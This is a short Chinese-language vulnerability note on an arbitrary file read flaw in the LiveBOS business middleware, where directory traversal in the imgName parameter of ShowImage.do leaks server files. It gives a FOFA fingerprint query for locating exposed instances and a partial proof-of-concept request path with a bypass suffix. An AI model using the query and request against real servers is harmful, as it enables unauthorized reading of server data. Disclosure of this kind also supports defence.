LiveBos ShowImage.do文件imgName参数任意文件读取漏洞

产品简介

LiveBOS（简称LiveBOS）是顶点软件股份有限公司开发的一个对象型业务架构中间件及其集成开发工具。它以业务模型建立为中心，直接完成软件开发的创新软件开发模式。适合于各类基于WEB的专业应用软件与行业大型应用的开发。由三个相对独立的产品构成：运行支持支撑平台 LiveBOS Server；开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。

漏洞概述

LiveBOS其ShowImage.do 文件 imgName 参数可通过目录遍历，进行文件读取，造成服务器数据泄露

复现环境

fofa

body="LiveBos" || body="/react/browser/loginBackground.png"

漏洞复现

Poc

get请求，拼接语句/feed/ShowImage.do;.js.jsp?type=&imgName=